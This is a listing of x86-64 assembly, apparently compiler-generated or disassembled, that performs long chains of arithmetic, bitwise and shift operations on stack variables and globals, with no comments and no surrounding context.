mov rax, qword [rsp + 0x9af0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa7a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb110]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f94]
mov ecx, dword [rsp + 0x4efc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f58], eax
lea rax, [rsp + 0x9200]
mov qword [rsp + 0xb410], rax
movzx eax, word [rsp + 0x1378]
mov word [0x1401e8cb0], ax
mov rax, qword [rsp + 0xae40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa518]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov byte [rcx], al
lea rax, [rsp + 0x159]
mov qword [rsp + 0xb418], rax
movzx eax, word [0x1401e70b8]
mov rcx, qword [rsp + 0xb0d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9968]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13bc], ax
mov rax, qword [rsp + 0x9e30]
mov eax, dword [rax]
mov dword [rsp + 0x5250], eax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0xa118]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0xaa60]
mov qword [rsp + 0xb420], rax
mov rax, qword [rsp + 0xaf80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5078]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4efc], eax
mov rax, qword [0x1401e8990]
movzx eax, word [rax]
mov word [rsp + 0x1464], ax
movzx eax, byte [rsp + 0x146]
movzx ecx, byte [rsp + 0xe9]
sub eax, ecx
mov rcx, qword [0x1401e8938]
mov byte [rcx], al
movsx eax, byte [rsp + 0x19b]
mov rcx, qword [0x1401e88d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0xaff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10ac]
add eax, ecx
mov word [rsp + 0x1054], ax
lea rax, [rsp + 0x113]
mov qword [rsp + 0xb428], rax
mov rax, qword [rsp + 0xb2e0]
mov rcx, qword [0x1401e7010]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa3c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x51b8]
mov dword [rsp + 0x5254], eax
mov rax, qword [rsp + 0xb2c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a00]
mov qword [rsp + 0xb430], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb430]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9cc0], rax
mov eax, dword [0x1401e7008]
mov rcx, qword [rsp + 0x9838]
mov qword [rsp + 0xb438], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb438]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1170]
mov word [rsp + 0x1468], ax
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
or eax, ecx
mov byte [0x1401e708e], al
mov rax, qword [rsp + 0xb380]
movsx eax, word [rax]
movsx ecx, word [0x1401e70ac]
and eax, ecx
mov word [rsp + 0x1014], ax
lea rax, [rsp + 0x1340]
mov qword [rsp + 0xb440], rax
mov rax, qword [rsp + 0xaef8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ff8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5114]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
lea rax, [rsp + 0x9948]
mov qword [rsp + 0xb448], rax
mov rax, qword [rsp + 0xa750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaba0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb270]
mov eax, dword [rax]
mov dword [rsp + 0x5258], eax
movsx eax, word [rsp + 0x1154]
movsx ecx, word [rsp + 0x114c]
sub eax, ecx
mov rcx, qword [rsp + 0x9d48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa0a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e7062], al
mov rax, qword [0x1401e8c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov byte [rsp + 0x10f], al
movzx eax, word [rsp + 0x122c]
mov word [rsp + 0x146c], ax
movzx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab00]
mov byte [rcx], al
lea rax, [0x1401e7008]
mov qword [rsp + 0xb450], rax
mov rax, qword [rsp + 0x9318]
mov rcx, qword [rsp + 0x9be0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb240], rax
mov rax, qword [rsp + 0xa4e0]
mov eax, dword [rax]
mov dword [rsp + 0x525c], eax
mov rax, qword [0x1401e7018]
movzx ecx, al
mov rax, qword [rsp + 0x9bd0]
shl rax, cl
mov qword [rsp + 0xa858], rax
mov rax, qword [rsp + 0xa4b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf10]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x13b0], ax
lea rax, [rsp + 0x1010]
mov qword [0x1401e8cb8], rax
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9270]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9f80]
mov byte [rcx], al
mov rax, qword [rsp + 0xb360]
movzx eax, word [rax]
mov word [rsp + 0x1470], ax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7024]
xor eax, ecx
mov rcx, qword [rsp + 0xb390]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e50], eax
mov rax, qword [rsp + 0x9398]
mov qword [rsp + 0xb458], rax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0xb130]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9008], rax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0xb460], rax
mov rax, qword [rsp + 0xa7a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa720]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7120], ax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x18c]
sub eax, ecx
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0x126c]
movzx ecx, word [rsp + 0x1440]
add eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
lea rax, [rsp + 0x1230]
mov qword [rsp + 0xb468], rax
movzx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xa1e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a70]
mov qword [rsp + 0xb470], rax
mov rax, qword [rsp + 0x9960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa918]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9728]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa2b0]
mov rcx, qword [rsp + 0xab40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4efc]
mov dword [rsp + 0x5260], eax
movsx eax, byte [rsp + 0x86]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e703b], al
movzx eax, word [rsp + 0x1224]
movzx ecx, word [rsp + 0x1330]
and eax, ecx
mov word [rsp + 0x1278], ax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0xb380]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12e8], ax
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0xa4c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ec4]
sar eax, cl
mov rcx, qword [rsp + 0xb138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xab20], rax
lea rax, [rsp + 0xb180]
mov qword [rsp + 0xb478], rax
mov rax, qword [rsp + 0x9f60]
mov rcx, qword [rsp + 0x92b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e9c], eax
movsx eax, byte [rsp + 0x193]
movsx ecx, byte [0x1401e706a]
sub eax, ecx
mov byte [0x1401e705b], al
lea rax, [rsp + 0x13e]
mov qword [rsp + 0xb480], rax
movzx eax, byte [rsp + 0x104]
movzx ecx, byte [rsp + 0x186]
sub eax, ecx
mov rcx, qword [rsp + 0x9780]
mov byte [rcx], al
movsx eax, word [rsp + 0x13fc]
mov rcx, qword [rsp + 0xa1c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov word [rsp + 0x1474], ax
mov rax, qword [rsp + 0xab48]
mov rcx, qword [rsp + 0xac20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xae78], rax
mov rax, qword [rsp + 0xa558]
mov rax, qword [rax]
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0x9838]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa2b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5138]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5248], eax
lea rax, [0x1401e7114]
mov qword [0x1401e8cc0], rax
movzx eax, byte [rsp + 0xba]
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0xbd]
mov rcx, qword [rsp + 0x9908]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa698]
mov byte [rcx], al
movzx eax, word [rsp + 0x1444]
mov word [rsp + 0x1478], ax
mov rax, qword [0x1401e8950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x141c]
add eax, ecx
mov word [rsp + 0x1248], ax
lea rax, [rsp + 0x5130]
mov qword [rsp + 0xb490], rax
mov rax, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0xa420]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5020], eax
lea rax, [rsp + 0x9fc8]
mov qword [rsp + 0xb498], rax
lea rax, [rsp + 0x11ac]
mov qword [0x1401e8cc8], rax
mov rax, qword [rsp + 0xad20]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e888c]
sub eax, ecx
mov byte [rsp + 0x130], al
movzx eax, word [rsp + 0x1010]
mov word [rsp + 0x147c], ax
mov rax, qword [rsp + 0xb320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77]
or eax, ecx
mov rcx, qword [rsp + 0xb2a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xad40]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8a20]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xac40]
mov byte [rcx], al
mov eax, dword [rsp + 0x5198]
mov dword [rsp + 0x5264], eax
mov rax, qword [rsp + 0x9958]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d40]
shl rax, cl
mov rcx, qword [rsp + 0x8eb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4d0]
mov rax, qword [rax]
mov qword [rsp + 0xb4a0], rax
mov rax, qword [rsp + 0xa790]
mov rcx, qword [rsp + 0x9710]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9d18]
mov dword [rcx], eax
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x103c]
and eax, ecx
mov word [0x1401e7034], ax
movzx eax, byte [0x1401e7047]
movzx ecx, byte [rsp + 0x82]
sub eax, ecx
mov rcx, qword [rsp + 0xa598]
mov byte [rcx], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0xb4a8], rax
mov rax, qword [rsp + 0xab08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa418]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1108], ax
mov rax, qword [rsp + 0xacd0]
movzx eax, word [rax]
mov word [rsp + 0x1480], ax
mov rax, qword [rsp + 0xa7f0]
mov ecx, dword [rsp + 0x5098]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x5024], eax
mov rax, qword [rsp + 0xb2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb498]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb410]
mov rax, qword [rax]
mov qword [rsp + 0xb4b0], rax
mov eax, dword [rsp + 0x4f24]
mov ecx, dword [rsp + 0x524c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5234], eax
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [0x1401e8cd0], ax
movzx eax, byte [0x1401e705f]
mov byte [rsp + 0x1a2], al
movzx eax, word [rsp + 0x1324]
mov rcx, qword [rsp + 0xadf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13d0], ax
movzx eax, byte [rsp + 0x179]
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e708e]
add eax, ecx
mov rcx, qword [rsp + 0xa970]
mov byte [rcx], al
mov rax, qword [rsp + 0xa7f0]
mov ecx, dword [rsp + 0x4fec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5194], eax
mov rax, qword [rsp + 0x9058]
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0xa830]
mov rcx, qword [rsp + 0x9438]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb470], rax
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0xb4c0], rax
mov rax, qword [rsp + 0x9688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13b4]
sar eax, cl
mov word [rsp + 0x1280], ax
movsx eax, word [rsp + 0x104c]
mov rcx, qword [0x1401e8990]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e70cc], ax
movsx eax, byte [rsp + 0x19a]
movsx ecx, byte [rsp + 0x15f]
or eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
mov byte [rsp + 0x1a4], al
movsx eax, word [rsp + 0x10a0]
mov rcx, qword [rsp + 0xad28]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1120], ax
lea rax, [rsp + 0x5220]
mov qword [rsp + 0xb4c8], rax
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [rsp + 0x5070]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x513c], eax
mov rax, qword [rsp + 0xa770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac78], rax
lea rax, [rsp + 0xaf20]
mov qword [rsp + 0xb4d0], rax
movzx eax, word [rsp + 0x1410]
movzx ecx, word [rsp + 0x1198]
sub eax, ecx
mov word [rsp + 0x10fc], ax
movzx eax, byte [0x1401e704b]
mov rcx, qword [rsp + 0xad78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e706f], al
lea rax, [rsp + 0x141c]
mov qword [rsp + 0xb4d8], rax
movsx eax, byte [rsp + 0xfe]
movsx ecx, byte [rsp + 0x182]
add eax, ecx
mov byte [rsp + 0x12e], al
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x1a5], al
mov rax, qword [rsp + 0xa4e0]
mov ecx, dword [rsp + 0x4e28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x509c], eax
mov rax, qword [rsp + 0x99a0]
mov rcx, qword [rsp + 0xb408]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5174], eax
mov rax, qword [rsp + 0x9db0]
mov rax, qword [rax]
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0x95b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa868], rax
mov rax, qword [rsp + 0xa960]
movzx eax, byte [rax]
mov byte [rsp + 0x1a6], al
movsx eax, word [0x1401e7090]
mov rcx, qword [rsp + 0xa5b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7124], ax
movzx eax, word [rsp + 0x1400]
movzx ecx, word [rsp + 0x1300]
add eax, ecx
mov word [rsp + 0x10e0], ax
movsx eax, byte [rsp + 0x178]
movsx ecx, byte [0x1401e87a4]
or eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x13ec]
mov word [rsp + 0x1484], ax
mov rax, qword [rsp + 0xab80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9088]
mov qword [rsp + 0xb4e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xad70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d10]
mov qword [rsp + 0xb4f0], rax
mov eax, dword [rsp + 0x51f8]
movzx ecx, al
mov eax, dword [rsp + 0x4e84]
shr eax, cl
mov dword [rsp + 0x4ef0], eax
mov rax, qword [rsp + 0xa728]
mov rcx, qword [rsp + 0x9cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5040], eax
mov rax, qword [rsp + 0x9310]
movzx eax, byte [rax]
mov byte [rsp + 0x1a7], al
mov rax, qword [rsp + 0x9898]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7128], ax
mov rax, qword [rsp + 0xb218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb418]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
lea rax, [rsp + 0x82]
mov qword [rsp + 0xb4f8], rax
movzx eax, word [rsp + 0x13c0]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0xabe8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x105c]
add eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2b0]
mov eax, dword [rax]
mov dword [rsp + 0x5268], eax
mov rax, qword [rsp + 0x9808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5194]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50a0], eax
lea rax, [rsp + 0xae20]
mov qword [rsp + 0xb500], rax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xb360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ea8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e706c], ax
mov rax, qword [rsp + 0x8ac0]
movzx eax, byte [rax]
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x186]
movzx ecx, byte [rsp + 0x124]
sub eax, ecx
mov byte [rsp + 0x173], al
movzx eax, byte [rsp + 0xc9]
movzx ecx, byte [rsp + 0x83]
sub eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
mov word [rsp + 0x1488], ax
mov rax, qword [rsp + 0x93d8]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9dd8]
mov eax, dword [rax]
mov dword [rsp + 0x526c], eax
mov rax, qword [rsp + 0xa248]
mov rcx, qword [rsp + 0x91c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0xae00]
mov rcx, qword [rsp + 0xab68]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9a78], rax
lea rax, [rsp + 0x1120]
mov qword [0x1401e8cd8], rax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xb508], rax
movsx eax, word [rsp + 0x13a8]
movsx ecx, word [rsp + 0x1368]
shl eax, cl
mov rcx, qword [rsp + 0x9a28]
mov word [rcx], ax
lea rax, [rsp + 0x100]
mov qword [rsp + 0xb510], rax
mov rax, qword [rsp + 0xaa40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd2]
sar eax, cl
mov rcx, qword [rsp + 0x9248]
mov byte [rcx], al
mov eax, dword [rsp + 0x4f94]
mov ecx, dword [rsp + 0x4fe0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
lea rax, [rsp + 0xaab8]
mov qword [rsp + 0xb518], rax
mov rax, qword [rsp + 0x9e30]
mov rcx, qword [rsp + 0x9b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fb8], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xb520], rax
movsx eax, word [rsp + 0x1144]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e711c], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13f8], ax
movzx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x176], al
lea rax, [rsp + 0x172]
mov qword [rsp + 0xb528], rax
mov rax, qword [rsp + 0xaa58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9350]
mov word [rcx], ax
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0xb530], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5128]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50d4], eax
lea rax, [rsp + 0x50cc]
mov qword [rsp + 0xb538], rax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [0x1401e7028]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa260], rax
movsx eax, byte [rsp + 0xec]
movsx ecx, byte [rsp + 0x121]
add eax, ecx
mov rcx, qword [0x1401e88d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa370]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x9ff8]
movzx eax, word [rax]
mov word [rsp + 0x148c], ax
movzx eax, word [rsp + 0x1084]
movzx ecx, word [rsp + 0x13b8]
or eax, ecx
mov word [rsp + 0x11bc], ax
movzx eax, byte [rsp + 0x15f]
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0x9db0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1d0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9080]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5108]
movzx ecx, al
mov eax, dword [rsp + 0x51e0]
shl eax, cl
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8e0]
mov qword [rsp + 0xb540], rax
mov rax, qword [rsp + 0xab90]
mov ecx, dword [rsp + 0x51f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ec0], eax
lea rax, [rsp + 0x12ec]
mov qword [0x1401e8ce0], rax
movzx eax, word [rsp + 0x13d8]
mov word [rsp + 0x1490], ax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [0x1401e8b80]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0xad88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa068]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17b], al
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x1aa], al
mov eax, dword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x50e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec8], eax
lea rax, [rsp + 0x9b08]
mov qword [rsp + 0xb548], rax
mov rax, qword [rsp + 0x9e88]
mov rcx, qword [rsp + 0x95b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fc0], rax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x5270], eax
lea rax, [rsp + 0x1388]
mov qword [0x1401e8ce8], rax
mov rax, qword [rsp + 0xa9a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x118c]
sub eax, ecx
mov word [rsp + 0x13f0], ax
movzx eax, byte [rsp + 0xf5]
movzx ecx, byte [0x1401e703a]
add eax, ecx
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a9]
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0xb280]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x105c], ax
lea rax, [rsp + 0xac08]
mov qword [rsp + 0xb550], rax
mov rax, qword [rsp + 0xb0a8]
mov rcx, qword [rsp + 0xa280]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x9960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa348]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
lea rax, section..data
mov qword [rsp + 0xb558], rax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa668]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e7083], al
mov rax, qword [rsp + 0xb250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13b4], ax
lea rax, [0x1401e7067]
mov qword [rsp + 0xb560], rax
mov rax, qword [rsp + 0x9d88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9110]
mov word [rcx], ax
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa470]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12a0], ax
mov rax, qword [rsp + 0x9438]
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xb448]
mov rcx, qword [rsp + 0xae78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0a0], rax
mov eax, dword [rsp + 0x5224]
mov dword [rsp + 0x5274], eax
mov rax, qword [rsp + 0xab40]
mov rcx, qword [rsp + 0xaf18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5234], eax
movsx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xba], al
movzx eax, byte [rsp + 0xcf]
mov byte [0x1401e888e], al
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
mov word [rsp + 0x1494], ax
movsx eax, word [0x1401e7120]
mov rcx, qword [rsp + 0xa7a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov word [rcx], ax
mov rax, qword [rsp + 0xa6e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0xb370]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9e30]
mov dword [rcx], eax
lea rax, [rsp + 0x5034]
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0x9610]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa08], rax
